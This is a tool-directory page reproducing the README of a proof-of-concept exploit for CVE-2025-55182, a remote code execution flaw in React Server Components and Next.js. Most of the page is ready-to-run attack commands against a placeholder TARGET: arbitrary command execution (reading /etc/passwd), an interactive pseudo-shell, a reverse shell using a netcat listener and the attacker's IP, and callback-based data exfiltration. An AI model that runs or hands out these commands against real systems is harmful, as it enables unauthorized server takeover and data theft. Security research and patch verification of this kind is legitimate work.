Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
react2shell-poc — CVE-2025-55182 React2Shell PoC - Critical RCE in React Server Components / Next.js. CVSS 10.0. Error-based exfil, reverse shell, interactive mode. | Kitploit
Tools/GitHubGitHub/p3ta00/react2shell-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access Tool
GitHubp3ta00/react2shell-poc

react2shell-poc

CVE-2025-55182 React2Shell PoC - Critical RCE in React Server Components / Next.js. CVSS 10.0. Error-based exfil, reverse shell, interactive mode.

View Repository
912 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

React2Shell - CVE-2025-55182 PoC

Proof of Concept for CVE-2025-55182, a critical unauthenticated Remote Code Execution vulnerability in React Server Components.

CVSS Score: 10.0 (Critical)

Vulnerability

The vulnerability exists in React's Flight protocol deserializer. By exploiting prototype pollution via specially crafted payloads, an attacker can achieve arbitrary code execution on vulnerable Next.js applications.

Affected Versions

ProductVulnerablePatched
React19.0.0 - 19.2.019.0.1, 19.1.2, 19.2.1+
Next.js14.3.0-canary.77 - 16.x15.0.5, 15.1.9, 15.2.6, 16.0.7+

Installation

root@kitploit:~
git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests

Usage

Command Execution with Output (Default - Error-Based Exfiltration)

Output is returned directly in the HTTP response via NEXT_REDIRECT error - no callback server needed.

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"

Interactive Mode

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 -i

Check Vulnerability

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 --check

Blind RCE (No Output)

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind

Reverse Shell

root@kitploit:~
# Start listener
nc -lvnp 4444

# Send payload
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444

Legacy: Callback-Based Exfiltration

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP

Options

root@kitploit:~
-t, --target       Target URL (required)
-c, --command      Command to execute (output via error-based exfil by default)
--check            Check if target is vulnerable
--blind            Blind RCE mode (no output capture)
--listen           Use callback server instead of error-based exfil
-i, --interactive  Interactive pseudo-shell mode
--revshell         Attempt reverse shell
--lhost            Attacker IP for callbacks/reverse shell
--lport            Callback port (default: 9999)
--callback         Manual callback URL
--timeout          Request timeout in seconds (default: 30)

How It Works

The default exfiltration method uses NEXT_REDIRECT error injection:

  1. Execute command and capture output
  2. Throw a NEXT_REDIRECT error with output in digest field
  3. Next.js serializes the error in the Flight response
  4. Output appears directly in HTTP response body

This is more reliable than callback-based exfiltration because it doesn't require outbound network access from the target.

References

  • Wiz Security - React2Shell Disclosure
  • Datadog Security Labs Analysis
  • NVD - CVE-2025-55182

Disclaimer

This tool is for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.

Author

p3ta

Download Tool